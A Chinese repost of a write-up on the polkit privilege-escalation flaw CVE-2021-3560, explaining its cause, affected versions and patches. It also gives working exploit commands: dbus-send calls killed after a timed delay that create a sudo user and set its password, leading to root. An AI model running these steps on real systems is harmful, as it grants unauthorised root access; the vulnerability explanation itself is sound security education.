Linux Polkit权限提升漏洞(CVE-2021-3560)
polkit是默認安裝在許多 Linux 發行版上的系統服務。它由systemd 使用,因此任何使用 systemd 的 Linux 發行版也使用 polkit。該漏洞使無特權的本地用戶能夠獲得系統上的 root shell。
關于polkit
當您看到如下所示的對話框時,polkit是在后臺運行的系統服務:
它本質上扮演著法官的角色。如果你想做一些需要更高權限的事情——例如,創建一個新的用戶帳戶——那么決定是否允許你這樣做是 polkit 的工作。對于某些請求,polkit 會立即做出允許或拒絕的決定,而對于其他請求,它會彈出一個對話框,以便管理員可以通過輸入密碼來授予授權。
該對話框可能給人的印象是 polkit 是一個圖形系統,但它實際上是一個后臺進程。該對話框被稱為身份驗證代理,它實際上只是一種將密碼發送到 polkit 的機制。
pkexec是一個類似于 sudo的命令,它使您能夠以 root 身份運行命令。如果您在圖形會話中運行pkexec,它將彈出一個對話框,但如果您在文本模式會話(如 SSH)中運行它,則它會啟動自己的文本模式身份驗證代理:
另一個可用于polkit從命令行觸發的命令是dbus-send. 它是發送 D-Bus 消息的通用工具,主要用于測試,但通常默認安裝在使用 D-Bus 的系統上。它可用于模擬圖形界面可能發送的 D-Bus 消息。例如,這是創建新用戶的命令:
如果您在圖形會話中運行該命令,則會彈出一個身份驗證對話框,但如果您在文本模式會話(如SSH )中運行它,則會立即失敗。這是因為,不同與 pkexec,dbus-send它不啟動自己的身份驗證代理。
利用步驟
該漏洞非常容易利用。它所需要的是僅使用標準工具,如在終端中的幾個命令bash,kill和dbus-send。
證明漏洞取決于安裝的兩個軟件包:accountsservice和gnome-control-center. 在 Ubuntu 桌面等圖形系統上,這兩個軟件包通常默認安裝。但是,如果您使用的是非圖形 RHEL 服務器之類的東西,那么您可能需要安裝它們,如下所示:
sudo yum install accountsservice gnome-control-center當然,該漏洞與accountsservice或gnome-control-center沒有任何特別關系。它們只是 polkit 客戶端,恰好是利用的方便載體。PoC 依賴gnome-control-center和accountsservice。
為了避免重復觸發身份驗證對話框(這可能很煩人),我建議從 SSH 會話運行命令:
ssh localhost該漏洞是通過啟動dbus-send命令但在 polkit 仍在處理請求的過程中將其殺死而觸發的。我認為理論上可以通過在適當的時候使用 Ctrl+C 來觸發,但我從來沒有成功過,所以我用少量的 bash 腳本來代替。首先,您需要測量dbus-send正常運行命令所需的時間:
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:boris string:"Boris Ivanovich Grishenko" int32:1輸出如下所示
這對我來說花了 0.009秒,所以這意味著我需要dbus-send在大約0.004秒后終止命令:
您可能需要運行幾次,并且可能需要試驗延遲的毫秒數。當漏洞利用成功時,您將看到已創建一個名為boris的新用戶
請注意,boris是該sudo組的成員,因此您已經走上了全面提升權限的道路。接下來,您需要為新帳戶設置密碼。D-Bus 接口需要一個散列密碼,您可以使用openssl以下方法創建:
$ openssl passwd -5 iaminvincible! $5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB現在你只需要再次執行相同的技巧,除了這次調用SetPasswordD-Bus 方法:
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$Fv2PqfurMmI879J7$ALSJ.w4KTP.mHrHxM2FYV3ueSipCf/QSfQUlATmWuuB' string:GoldenEye & sleep 0.008s ; kill $!同樣,您可能需要試驗延遲的長度并運行幾次直到成功。另請注意,您需要粘貼正確的用戶標識符 (UID),在此示例中為“1002”,以及openssl命令中的密碼哈希。
現在您可以以 boris 身份登錄并成為 root:
su - boris # password: iaminvincible! sudo su # password: iaminvincible!polkit架構
為了幫助解釋該漏洞,下面是dbus-send命令期間涉及的五個主要進程的圖表:
圖中顯示了 dbus-send 命令中涉及的五個進程:虛線上方的“dbus-send”和“Authentication Agent”,以及虛線下方的“accounts-daemon”和“polkit”,其中 dbus-daemon 作為中間人。
虛線上方的兩個進程dbus-send和Authentication Agent是非特權用戶進程。線下的那些是特權系統進程。中間是dbus-daemon,它處理所有的通信:其他四個進程通過發送 D-Bus 消息相互通信。
dbus-daemon在 polkit 的安全性中起著非常重要的作用,因為它使四個進程能夠安全地通信并檢查彼此的憑據。例如,當身份驗證代理向 polkit 發送身份驗證 cookie 時,它??是通過將其發送到org.freedesktop.PolicyKit1D-Bus 地址來實現的。由于該地址僅允許由根進程注冊,因此不存在非特權進程攔截消息的風險。dbus-daemon還為每個連接分配一個“唯一的總線名稱:”通常類似于“:1.96”。它有點像進程標識符 (PID),只是不容易受到PID 回收攻擊。唯一的總線名稱當前是從 64 位范圍中選擇的,因此不存在因名稱被重用而導致漏洞的風險。
這是事件的順序:
1、dbus-send要求accounts-daemon創建一個新用戶。 2、accounts-daemon從 接收 D-Bus 消息dbus-send。該消息包括發送者的 唯一總線名稱。讓我們假設它是“:1.96”。此名稱附加到消息中,dbus-daemon不能偽造。 3、accounts-daemon 詢問 polkit 連接:1.96 是否被授權創建新用戶。 4、polkit 要求dbus-daemon提供連接的 UID:1.96。 5、如果連接 :1.96 的 UID 為“0”,則 polkit 立即授權該請求。否則,它會向身份驗證代理發送允許授權請求的管理員用戶列表。 6、身份驗證代理打開一個對話框以從用戶那里獲取密碼。 7、身份驗證代理將密碼發送給 polkit。 8、polkit 將“是”回復發送回accounts-daemon. 9、accounts-daemon 創建新的用戶帳戶。漏洞原理
為什么殺死dbus-send命令會導致身份驗證繞過?該漏洞位于上面列出的事件序列的第四步。如果 polkit 要求dbus-daemon連接 :1.96 的 UID,但連接 :1.96 不再存在,會發生什么?dbus-daemon正確處理這種情況并返回錯誤。但事實證明 polkit 沒有正確處理該錯誤。事實上,polkit 以一種特別不幸的方式錯誤處理了錯誤:它沒有拒絕請求,而是將請求視為來自 UID 0 的進程。換句話說,它立即授權請求,因為它認為請求已經到來從根進程。
為什么漏洞的時間是不確定的?事實證明,polkitdbus-daemon在不同的代碼路徑上多次詢問請求進程的 UID。這些代碼路徑中的大多數都能正確處理錯誤,但其中之一沒有。如果您dbus-send提前終止命令,它將由正確的代碼路徑之一處理,并且請求將被拒絕。要觸發易受攻擊的代碼路徑,您必須在適當的時候斷開連接。而且由于涉及多個過程,“正確時刻”的時間因一次運行而異。這就是為什么通常需要多次嘗試才能成功利用的原因。我猜這也是之前沒有發現該錯誤的原因。
結論
CVE-2021-3560 使無特權的本地攻擊者能夠獲得 root 權限。它非常簡單且易于利用,因此應該盡快更新 Linux 。任何安裝了 polkit 0.113 版(或更高版本)的系統都容易受到攻擊。這包括流行的發行版,例如 RHEL 8 和 Ubuntu 20.04。
修復建議
目前此漏洞已經修復,建議參考Linux各發行版本的官方通告及時升級更新:
RHEL 8:
https://access.redhat.com/security/cve/CVE-2021-3560
Fedora 21及更高版本:
https://bugzilla.redhat.com/show_bug.cgi?id=1967424
Debian testing (“bullseye”):
https://security-tracker.debian.org/tracker/CVE-2021-3560
Ubuntu 20.04:
https://ubuntu.com/security/CVE-2021-3560
參考鏈接:https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
總結
以上是生活随笔為你收集整理的Linux Polkit权限提升漏洞(CVE-2021-3560)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 在UE中创建配置文件
- 下一篇: linux中出现不在 sudoers 文